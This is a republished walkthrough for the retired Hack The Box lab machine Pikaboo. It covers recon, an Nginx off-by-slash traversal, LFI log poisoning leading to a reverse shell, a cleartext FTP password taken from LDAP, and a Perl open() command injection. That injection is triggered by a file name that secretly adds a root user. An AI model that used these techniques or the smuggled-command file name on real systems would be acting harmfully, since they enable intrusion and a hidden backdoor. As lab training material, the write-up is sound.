

Pikaboo: Hack The Box Walkthrough
source link: https://hackso.me/pikaboo-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

This post documents the complete walkthrough of Pikaboo, a retired vulnerable VM created by pwnmeow and polarbearer, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Pikaboo is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.249 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-19 00:59:29 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.249
Discovered open port 80/tcp on 10.10.10.249
Discovered open port 21/tcp on 10.10.10.249
Nothing unusual. Let’s do one better with nmap
scanning the discovered ports to establish their services.
nmap -n -v -Pn -p21,22,80 -A --reason 10.10.10.249 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
No shit. You know things are tough when there ain’t much information. Anyway, this is what the http
service looks like.
I turned on Burp while I navigate the site, and this is the response I saw when I navigated to /admin
.
Nginx 1.14.2 is being used as a reverse proxy to a Apache 2.4.38 listening at 127.0.0.1
port 81/tcp
.
Nginx Off-By-Slash Misconfiguration
With a off-by-slash misconfiguration, it is possible to traverse hidden paths due to a missing slash. Orange Tsai made this technique well-known with the alias
directive in Nginx. What is less known is that this also works with other directives like proxy_pass
. Check this out.
This should normally be forbidden to casual browsing.
Directory/File Enumeration
Judging by the box’s radar chart, I’m pretty sure the discovery of the hidden path is very CTF-like.
See what I mean?
wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 --hc '401,404' http://10.10.10.249/admin../admin_FUZZ/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.249/admin../admin_FUZZ/
Total requests: 17770
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000520: 200 882 L 2267 W 40554 Ch "staging"
Total time: 0
Processed Requests: 17770
Filtered Requests: 17769
Requests/sec.: 0
Local File Inclusion Leading to RCE via Log Poisoning
It’s not long before a Local File Inclusion (LFI) vulnerability in the page
parameter is found in this template.
wfuzz -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -t 20 --hl 367 http://10.10.10.249/admin../admin_staging/index
.php?page=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ
Total requests: 914
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000733: 200 413 L 1670 W 19803 Ch "/var/log/vsftpd.log"
000000734: 200 552 L 1370 W 160065 Ch "/var/log/wtmp"
Total time: 2.152672
Processed Requests: 914
Filtered Requests: 912
Requests/sec.: 424.5885
So, if I can poison /var/log/vsftpd.log
with PHP code, I should be able to execute remote commands. Sounds like a plan.
Let’s give it a shot.
Now see if there’s dipshit
in the log.
Awesome.
Foothold
Armed with this insight, let’s get ourselves a reverse shell with the following “username”.
Reload the browser and a reverse shell appears in my netcat
listener.
I’m pleasantly surprised I was able to read user.txt
.
Privilege Escalation
During enumeration of www-data
’s account, I notice crontab
running a bash
script every minute on the minute.
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
We can see that the script goes into each directory in /srv/ftp
and runs csvupdate
with the directory name and all the files with a csv
extension as arguments, and finally removing all the files in that directory before moving to the next directory.
Let’s check out the executable rights of csvupdate
.
Interesting, only root
can execute but we get to read it.
#!/usr/bin/perl
##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
# #
# Usage: #
# ./csvupdate <type> <file(s)> #
# #
# Arguments: #
# - type: PokeAPI CSV file type #
# (must have the correct number of fields) #
# - file(s): list of files containing CSV data #
##################################################################
use strict;
use warnings;
use Text::CSV;
my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
'ability_changelog' => 3,
'ability_changelog_prose' => 3,
'ability_flavor_text' => 4,
'ability_names' => 3,
'ability_prose' => 4,
'berries' => 10,
'berry_firmness' => 2,
'berry_firmness_names' => 3,
'berry_flavors' => 3,
'characteristics' => 3,
'characteristic_text' => 3,
'conquest_episode_names' => 3,
'conquest_episodes' => 2,
'conquest_episode_warriors' => 2,
'conquest_kingdom_names' => 3,
'conquest_kingdoms' => 3,
'conquest_max_links' => 3,
'conquest_move_data' => 7,
'conquest_move_displacement_prose' => 5,
'conquest_move_displacements' => 3,
'conquest_move_effect_prose' => 4,
'conquest_move_effects' => 1,
'conquest_move_range_prose' => 4,
'conquest_move_ranges' => 3,
'conquest_pokemon_abilities' => 3,
'conquest_pokemon_evolution' => 8,
'conquest_pokemon_moves' => 2,
'conquest_pokemon_stats' => 3,
'conquest_stat_names' => 3,
'conquest_stats' => 3,
'conquest_transformation_pokemon' => 2,
'conquest_transformation_warriors' => 2,
'conquest_warrior_archetypes' => 2,
'conquest_warrior_names' => 3,
'conquest_warrior_ranks' => 4,
'conquest_warrior_rank_stat_map' => 3,
'conquest_warriors' => 4,
'conquest_warrior_skill_names' => 3,
'conquest_warrior_skills' => 2,
'conquest_warrior_specialties' => 3,
'conquest_warrior_stat_names' => 3,
'conquest_warrior_stats' => 2,
'conquest_warrior_transformation' => 10,
'contest_combos' => 2,
'contest_effect_prose' => 4,
'contest_effects' => 3,
'contest_type_names' => 5,
'contest_types' => 2,
'egg_group_prose' => 3,
'egg_groups' => 2,
'encounter_condition_prose' => 3,
'encounter_conditions' => 2,
'encounter_condition_value_map' => 2,
'encounter_condition_value_prose' => 3,
'encounter_condition_values' => 4,
'encounter_method_prose' => 3,
'encounter_methods' => 3,
'encounters' => 7,
'encounter_slots' => 5,
'evolution_chains' => 2,
'evolution_trigger_prose' => 3,
'evolution_triggers' => 2,
'experience' => 3,
'genders' => 2,
'generation_names' => 3,
'generations' => 3,
'growth_rate_prose' => 3,
'growth_rates' => 3,
'item_categories' => 3,
'item_category_prose' => 3,
'item_flag_map' => 2,
'item_flag_prose' => 4,
'item_flags' => 2,
'item_flavor_summaries' => 3,
'item_flavor_text' => 4,
'item_fling_effect_prose' => 3,
'item_fling_effects' => 2,
'item_game_indices' => 3,
'item_names' => 3,
'item_pocket_names' => 3,
'item_pockets' => 2,
'item_prose' => 4,
'items' => 6,
'language_names' => 3,
'languages' => 6,
'location_area_encounter_rates' => 4,
'location_area_prose' => 3,
'location_areas' => 4,
'location_game_indices' => 3,
'location_names' => 4,
'locations' => 3,
'machines' => 4,
'move_battle_style_prose' => 3,
'move_battle_styles' => 2,
'move_changelog' => 10,
'move_damage_classes' => 2,
'move_damage_class_prose' => 4,
'move_effect_changelog' => 3,
'move_effect_changelog_prose' => 3,
'move_effect_prose' => 4,
'move_effects' => 1,
'move_flag_map' => 2,
'move_flag_prose' => 4,
'move_flags' => 2,
'move_flavor_summaries' => 3,
'move_flavor_text' => 4,
'move_meta_ailment_names' => 3,
'move_meta_ailments' => 2,
'move_meta_categories' => 2,
'move_meta_category_prose' => 3,
'move_meta' => 13,
'move_meta_stat_changes' => 3,
'move_names' => 3,
'moves' => 15,
'move_target_prose' => 4,
'move_targets' => 2,
'nature_battle_style_preferences' => 4,
'nature_names' => 3,
'nature_pokeathlon_stats' => 3,
'natures' => 7,
'pal_park_area_names' => 3,
'pal_park_areas' => 2,
'pal_park' => 4,
'pokeathlon_stat_names' => 3,
'pokeathlon_stats' => 2,
'pokedexes' => 4,
'pokedex_prose' => 4,
'pokedex_version_groups' => 2,
'pokemon_abilities' => 4,
'pokemon_color_names' => 3,
'pokemon_colors' => 2,
'pokemon' => 8,
'pokemon_dex_numbers' => 3,
'pokemon_egg_groups' => 2,
'pokemon_evolution' => 20,
'pokemon_form_generations' => 3,
'pokemon_form_names' => 4,
'pokemon_form_pokeathlon_stats' => 5,
'pokemon_forms' => 10,
'pokemon_form_types' => 3,
'pokemon_game_indices' => 3,
'pokemon_habitat_names' => 3,
'pokemon_habitats' => 2,
'pokemon_items' => 4,
'pokemon_move_method_prose' => 4,
'pokemon_move_methods' => 2,
'pokemon_moves' => 6,
'pokemon_shape_prose' => 5,
'pokemon_shapes' => 2,
'pokemon_species' => 20,
'pokemon_species_flavor_summaries' => 3,
'pokemon_species_flavor_text' => 4,
'pokemon_species_names' => 4,
'pokemon_species_prose' => 3,
'pokemon_stats' => 4,
'pokemon_types' => 3,
'pokemon_types_past' => 4,
'region_names' => 3,
'regions' => 2,
'stat_names' => 3,
'stats' => 5,
'super_contest_combos' => 2,
'super_contest_effect_prose' => 3,
'super_contest_effects' => 2,
'type_efficacy' => 3,
'type_game_indices' => 3,
'type_names' => 3,
'types' => 4,
'version_group_pokemon_move_methods' => 2,
'version_group_regions' => 2,
'version_groups' => 4,
'version_names' => 3,
'versions' => 3
);
if($#ARGV < 1)
{
die "Usage: $0 <type> <file(s)>\n";
}
my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
die "Unrecognised CSV data type: $type.\n";
}
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
shift;
for(<>)
{
chomp;
if($csv->parse($_))
{
my @fields = $csv->fields();
if(@fields != $csv_fields{$type})
{
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}
close($fh);
This Perl script is exactly as it’s described in the banner: upgrading PokeAPI CSV data with FTP-uploaded ones. This is what /opt/pokeapi/data/v2/csv
looks like.
And there you have it—command injection vulnerability in Perl’s open()
in the line for(<>)
.
In short, we have to upload a file with a pipe (|
) in the beginning of the file name and a csv
at the end of the file name for open()
to interpret it as shell command execution. The next question is: how do we write to /srv/ftp
?
Only root
and ftp
have the write permissions.
From www-data
to pwnmeow
in FTP
During an earlier enumeration, I notice that LDAP is running at 127.0.0.1
port 389/tcp
.
And the following binddn
credentials to enumerate LDAP.
Lucky for us, ldapsearch
is made available—we can enumerate LDAP like so.
ldapsearch -H ldap:/// -x -W -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -b "dc=pikaboo,dc=htb"
pwnmeow
’s FTP password is decoded to _G0tT4_C4tcH_'3m_4lL!_
.
Gotta Catch ‘Em All
First we create a berries
directory and then touch
the following file in the directory.
mkdir berries
cd berries
touch '|useradd -o -u 0 -g 0 -p to5bce5sr7eK6 groot; csv'
The idea is to secretly create another root
user. The string to5bce5sr7eK6
is the output from perl -e 'print crypt("toor", "toor")'
.
Next, we log in to FTP as pwnmeow
and do the following.
cd berries
prompt
mput *
bye
Once that’s done, we can now SSH in as groot
with the password toor
because PermitRootLogin
is set to yes
in /etc/ssh/sshd_config
.
Getting root.txt
with a root
shell is trivial.
Recommend
-
26
This post documents the complete walkthrough of RE, a retired vulnerable VM created by 0xdf
-
14
This post documents the complete walkthrough of Forge, a retired vulnerable VM created by NoobHacker9999, and...
-
24
This post documents the complete walkthrough of Developer, a retired vulnerable VM created by TheCyberGeek, an...
-
23
EarlyAccess: Hack The Box Walkthrough Bernie Lim A security enthusiast. Likes cats. 14 Feb 2022 38 min read
-
14
This post documents the complete walkthrough of Previse, a retired vulnerable VM created by m4lwhere, and host...
-
12
Static: Hack The Box Walkthrough Bernie Lim A security enthusiast. Likes cats. 27 Dec 2021 12 min read
-
53
This post documents the complete walkthrough of Anubis, a retired vulnerable VM created by 4ndr34z, and hosted...
-
14
This post documents the complete walkthrough of Intelligence, a retired vulnerable VM created by Micah, and hos...
-
13
Writer: Hack The Box Walkthrough Bernie Lim A security enthusiast. Likes cats. 13 Dec 2021 33 min read
-
14
This post documents the complete walkthrough of Horizontall, a retired vulnerable VM created by wail99, and host...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK